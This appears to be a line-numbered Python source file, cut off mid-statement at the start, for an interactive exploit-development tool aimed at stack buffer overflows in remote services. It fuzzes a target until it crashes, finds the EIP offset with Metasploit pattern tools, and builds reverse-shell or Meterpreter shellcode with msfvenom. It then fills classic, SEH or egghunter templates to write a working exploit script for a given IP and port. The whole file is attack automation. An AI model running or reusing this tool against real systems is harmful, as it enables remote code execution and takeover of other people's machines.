("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22" 13 | "\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x41\x42" 14 | "\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62" 15 | "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82" 16 | "\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2" 17 | "\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2" 18 | "\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2" 19 | "\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") 20 | 21 | offset = "A" * {{{OFFSET}}} 22 | eip = pack(' end or step > end) : 118 | continue 119 | else: 120 | break 121 | 122 | config.overflow = fuzzer_func(config.remoteip, config.remoteport, config.field, start, end, step) 123 | 124 | # print("!" * 100) 125 | # print("[*] Application crashed at %s bytes with payload : " % (config.overflow, payload)) 126 | 127 | # if (config.fuzzer_type.lower() != "printables"): 128 | # config.offset = len(config.fuzzer_buffer) 129 | 130 | if (config.offset == 0 and config.overflow > 0): 131 | print("[+] Generating pattern: msf-pattern_create -l %s" % config.overflow) 132 | 133 | # print subprocess.check_output(['msf-pattern_create', '-l', str(crash)]) 134 | # python3 135 | # result = subprocess.run(['msf_pattern-create', crash], stdout=subprocess.PIPE) 136 | # result.stdout 137 | 138 | buffer = subprocess.check_output(['msf-pattern_create', '-l', str(config.overflow)]).strip() 139 | 140 | if (config.mode == "http"): 141 | buffer = adapter.make_request(config.remoteip, config.remoteport, config.field, 142 | buffer, 143 | config.shellcode, config.offset) 144 | 145 | gonext = System.input("[?] Press ENTER when you wanna send the pattern!!!") 146 | 147 | # print(buffer); 148 | 149 | inject_func(config.remoteip, config.remoteport, config.field, buffer, True) 150 | print("[+] Buffer Injected " + str(len(buffer)) + " bytes to get OFFSET!!!") 151 | 152 | print("[!] Hint: !mona findmsp") 153 | offset_addr = System.input("[?] Check the target debugger and enter EIP / NSEH Address : ") 154 | 155 | _offset = subprocess.check_output(['msf-pattern_offset', '-q', str(offset_addr)]) 156 | _offset = _offset.decode('latin-1').split('offset ') 157 | 158 | config.offset = int(_offset[len(_offset) - 1].strip()) 159 | 160 | print("=" * 150) 161 | print("[*] Fuzzing got offset : " + str(config.offset)); 162 | print("=" * 150) 163 | 164 | System.save_session(config) 165 | 166 | @staticmethod 167 | def show_session(config): 168 | 169 | print("-" * 100) 170 | 171 | session = { 172 | "localip": config.localip, 173 | "localport": config.localport, 174 | "remoteip": config.remoteip, 175 | "remoteport": config.remoteport, 176 | 177 | "mode": config.mode, 178 | "field": config.field, 179 | "platform": config.platform, 180 | "http_method": config.http_method, 181 | "http_uri": config.http_uri, 182 | 183 | "user": config.user, 184 | "passwd": config.passwd, 185 | 186 | "badchars": config.badchars, 187 | "shellcode": config.shellcode, 188 | 189 | "offset": config.offset, 190 | "overflow": config.overflow, 191 | "jmpesp_add": config.jmpesp_add, 192 | 193 | "nextseh": config.nextseh, 194 | "seh": config.seh, 195 | "ppr_address": config.ppr_address, 196 | # "payload": config.payload, 197 | # "nops": config.nops, 198 | "skip_seh": config.skip_seh, 199 | 200 | # "eip": config.eip, 201 | # "esp": config.esp, 202 | # "payload": config.payload, 203 | "nops": config.nops, 204 | "jmpesp_add": config.jmpesp_add, 205 | # "instruction": config.instruction, 206 | # "hunter": config.hunter, 207 | "egg": config.egg, 208 | "src_address": config.src_address, 209 | "dest_address": config.dest_address, 210 | } 211 | 212 | 213 | print(session) 214 | print("-" * 100) 215 | 216 | save = System.input("[?] Do you want to save your progress data? [Y]es/[n]o") 217 | if save == "Y": 218 | System.save_session(config) 219 | 220 | @staticmethod 221 | def save_session(config): 222 | # Config get attributes 223 | 224 | session = { 225 | "localip": config.localip, 226 | "localport": config.localport, 227 | "remoteip": config.remoteip, 228 | "remoteport": config.remoteport, 229 | 230 | "mode": config.mode, 231 | "field": config.field, 232 | "platform": config.platform, 233 | "http_method": config.http_method, 234 | "http_uri": config.http_uri, 235 | 236 | "user": config.user, 237 | "passwd": config.passwd, 238 | 239 | "badchars": config.badchars, 240 | # "shellcode": config.shellcode, 241 | 242 | "offset": config.offset, 243 | "overflow": config.overflow, 244 | "jmpesp_add": config.jmpesp_add, 245 | 246 | "nextseh": config.nextseh, 247 | "seh": config.seh, 248 | "ppr_address": config.ppr_address, 249 | # "payload": config.payload, 250 | # "nops": config.nops, 251 | "skip_seh": config.skip_seh, 252 | 253 | # "eip": config.eip, 254 | # "esp": config.esp, 255 | # "payload": config.payload, 256 | "nops": config.nops, 257 | "jmpesp_add": config.jmpesp_add, 258 | # "instruction": config.instruction, 259 | # "hunter": config.hunter, 260 | # "egg": config.egg, 261 | "src_address": str(config.src_address), 262 | "dest_address": str(config.dest_address), 263 | } 264 | 265 | with open("sessions/" + config.remoteip + "_" + str(config.remoteport) + "_" + config.field + ".restore", "w") as session_file: 266 | if (sys.version_info >= (3, 0)): 267 | session_file.write(json.dumps(session, ensure_ascii=False)) 268 | else: 269 | session_file.write(unicode(json.dumps(session, ensure_ascii=False, encoding='latin-1'))) 270 | 271 | # with codecs.open("sessions/" + config.remoteip + "_" + str(config.remoteport) + "_" + config.field + ".restore", 272 | # "w", 'utf-8') as session_file: 273 | # if (sys.version_info >= (3, 0)): 274 | # session_file.write(json.dumps(session, ensure_ascii=False)) 275 | # else: 276 | # session_file.write(unicode(json.dumps(session, ensure_ascii=False, encoding='utf8'))) 277 | 278 | 279 | @staticmethod 280 | def generate_exploit(config): 281 | 282 | exploittype = System.input("[?] What kind of exploit to you want to generate? [C]lassic | [S]EH | [E]ggHunter: ") 283 | 284 | adapter = System.get_adapter(config) 285 | stream_func = getattr(adapter, 'output_stream') 286 | output_stream = stream_func(config.field) 287 | 288 | try: 289 | 290 | if exploittype == "C": 291 | file = "templates/classic.tpl" 292 | 293 | if exploittype == "S": 294 | file = "templates/seh.tpl" 295 | 296 | if exploittype == "E": 297 | file = "templates/egghunter.tpl" 298 | 299 | if os.path.isfile(file): 300 | 301 | if (sys.version_info >= (3, 0)): 302 | with io.open(file, 'rb', buffering=0) as default_skel: 303 | source = (default_skel.readall()) 304 | 305 | source = source.replace(b"{{{REMOTEIP}}}", config.remoteip.encode('latin1')) 306 | source = source.replace(b"{{{REMOTEPORT}}}", str(config.remoteport).encode('latin1')) 307 | source = source.replace(b"{{{OFFSET}}}", str(config.offset).encode('latin1')) 308 | source = source.replace(b"{{{NOPS}}}", str(config.nops).encode('latin1')) 309 | source = source.replace(b"{{{COMMUNICATION_FLOW}}}", str(output_stream).encode('latin1')) 310 | 311 | if exploittype == "C": 312 | source = source.replace(b"{{{JMPESP_ADD}}}", str(config.jmpesp_add).encode('latin1')) 313 | 314 | if exploittype == "S": 315 | source = source.replace(b"{{{NEXT_SEH}}}", str(config.nextseh).encode('latin1')) 316 | source = source.replace(b"{{{SEH}}}", str(config.seh).encode('latin1')) 317 | 318 | if exploittype == "E": 319 | source = source.replace(b"{{{HUNTER}}}", str(config.hunter).encode('latin1')) 320 | source = source.replace(b"{{{EGG}}}", str(config.egg).encode('latin1')) 321 | source = source.replace(b"{{{JMP_SHORT}}}", str(config.instruction).encode('latin1')) 322 | 323 | if (config.verbose_lv >= 1): 324 | print("=" * 30) 325 | print(source) 326 | print("=" * 30) 327 | 328 | default_skel.close() 329 | 330 | except Exception as e: 331 | logging.exception(e) 332 | 333 | System.file_write("sessions/exploit_" + config.remoteip + "_" + str(config.remoteport) + "_" + config.field + ".py", source) 334 | 335 | print("Exploit saved to : sessions/exploit_" + config.remoteip + "_" + str(config.remoteport) + "_" + config.field + ".py !") 336 | 337 | @staticmethod 338 | def load_session(config): 339 | 340 | if (config.session_ignore == False): 341 | session_file_path = "sessions/" + config.remoteip + "_" + str(config.remoteport) + "_" + config.field + ".restore" 342 | # print("[!] Searching for " + session_file_path) 343 | 344 | if os.path.isfile(session_file_path): 345 | 346 | if (config.verbose_lv >= 1): 347 | print("[!] Session found at " + session_file_path) 348 | 349 | try: 350 | 351 | if (sys.version_info >= (3, 0)): 352 | with io.open(session_file_path, 'rb', buffering=0) as session_file: 353 | # session_data = 354 | session = json.load(session_file) 355 | 356 | if (config.verbose_lv >= 1): 357 | print(session) 358 | 359 | for object in session: 360 | # print(("[+] Selected %s: %s") % (object, str(session[object]))) 361 | setattr(config, object, session[object]) 362 | 363 | 364 | print("[!] Session restored from " + session_file_path) 365 | 366 | else: 367 | # in Python 2 you should always use io.open() with an explicit encoding, or open() with an explicit encoding in Python 3 368 | with io.open(session_file_path, 'r', encoding='windows-1252') as session_file: 369 | for line in session_file: 370 | session = json.loads(line) 371 | 372 | # with codecs.open(session_file_path, 'r', 'utf-8') as session_file: 373 | # # session_data = 374 | # session = json.load(session_file) 375 | if (config.verbose_lv >= 1): 376 | print(session) 377 | 378 | for object in session: 379 | # print(("[+] Selected %s: %s") % (object, str(session[object]))) 380 | setattr(config, object, session[object]) 381 | 382 | print("[!] Session restored from " + session_file_path) 383 | 384 | except Exception as e: 385 | logging.exception(e) 386 | #raise 387 | 388 | @staticmethod 389 | def shellcode(config): 390 | 391 | payloadtype = System.input("[?] What kind of payload to you want to use? [M]eterpreter | [R]everse | [C]ustom ASM: ") 392 | 393 | print("[!] Preparing Shellcode for reverse shell.....") 394 | 395 | if config.localip == "" or str(config.localport) == "": 396 | ip_port = System.input("[?] Enter your IP:PORT listening for reverse shell") 397 | iface = ip_port.split(":") 398 | config.localip = iface[0] 399 | config.localport = iface[1] 400 | 401 | System.save_session(config) 402 | 403 | if payloadtype == "R": 404 | 405 | msfvenom_cmd = 'msfvenom -p ' + config.platform + '/shell_reverse_tcp lhost=' + config.localip + ' lport=' + str( 406 | config.localport) + ' -b "' + "".join( 407 | config.badchars) + '" -a x86 --platform ' + config.platform + ' -o shellcode_' + config.platform + ' exitfunc=none' 408 | print(msfvenom_cmd) 409 | stream = os.popen(msfvenom_cmd) 410 | payload = stream.read() 411 | 412 | elif payloadtype == "M": 413 | msfvenom_cmd = 'msfvenom -p ' + config.platform + '/meterpreter_reverse_tcp lhost=' + config.localip + ' lport=' + str( 414 | config.localport) + ' -b "' + "".join( 415 | config.badchars) + '" -a x86 --platform ' + config.platform + ' -o shellcode_' + config.platform + ' exitfunc=none' 416 | print(msfvenom_cmd) 417 | stream = os.popen(msfvenom_cmd) 418 | payload = stream.read() 419 | 420 | else: 421 | asmfile = System.input("[?] Enter path to ASM file : ") 422 | 423 | print("nasm " + asmfile + " -o sessions/" + asmfile + ".o") 424 | stream = os.popen("nasm " + asmfile + " -o sessions/" + asmfile + ".o") 425 | payload = stream.read() 426 | print(payload) 427 | print("cat sessions/" + asmfile + ".o | msfvenom - p - -a x86 - -platform " + config.platform + " -e generic/none -f python") 428 | stream = os.popen("cat sessions/" + asmfile + ".o | msfvenom - p - -a x86 - -platform " + config.platform + " -e generic/none -f python"); 429 | payload = stream.read() 430 | print(payload) 431 | 432 | # f = open("sessions/" + config.remoteip + "_" + str(config.remoteport) + "_" + config.field + "_shellcode.py", "w") 433 | # f.write('# ' + msfvenom_cmd + ' \r\n'); 434 | # f.write(payload) 435 | # f.close() 436 | 437 | # badchars = "\x00\x0a\x0d" 438 | # result = subprocess.run(['msfvenom', '-p', 'windows/shell_reverse_tcp', 'lhost=', 'lport=', '-b', '""' + badchars + '""', '-a', 'x86', '--platform windows', '-v', 'esp', '-f', 'python'], stdout=subprocess.PIPE) 439 | # return result.stdout 440 | 441 | # payload = subprocess.check_output(['msfvenom', '-p', 'windows/shell_reverse_tcp', 'lhost=', 'lport=', '-b', badchars, '-a', 'x86', '--platform windows', '-v', 'esp', '-f', 'python']).strip() 442 | 443 | 444 | # Can read from generated file: 445 | 446 | with io.open("shellcode_" + config.platform, 'rb', buffering=0) as session_file: 447 | esp = session_file.readall() 448 | 449 | if (config.verbose_lv >= 1): 450 | print("=" * 30) 451 | print(esp) 452 | print("=" * 30) 453 | 454 | return esp 455 | 456 | @staticmethod 457 | def file_write(filename, data): 458 | 459 | with open(filename, "w") as file: 460 | if (sys.version_info >= (3, 0)): 461 | if not isinstance(data, str): 462 | file.write(data.decode('latin-1')) 463 | else: 464 | file.write(data) 465 | else: 466 | file.write(data) 467 | 468 | file.close() 469 | 470 | @staticmethod 471 | def execute(command, args): 472 | crash = "" 473 | if (sys.version_info >= (3, 0)): 474 | result = subprocess.run([command, crash], stdout=subprocess.PIPE) 475 | result.stdout 476 | else: 477 | print(subprocess.check_output([command, '-l', str(crash)])) 478 | 479 | @staticmethod 480 | def input(message): 481 | try: 482 | if (sys.version_info >= (3, 0)): 483 | return input("\n" + message + " ") 484 | else: 485 | print("\n" + message + " ") 486 | return raw_input() 487 | except KeyboardInterrupt: 488 | raise KeyboardInterrupt 489 | 490 | --------------------------------------------------------------------------------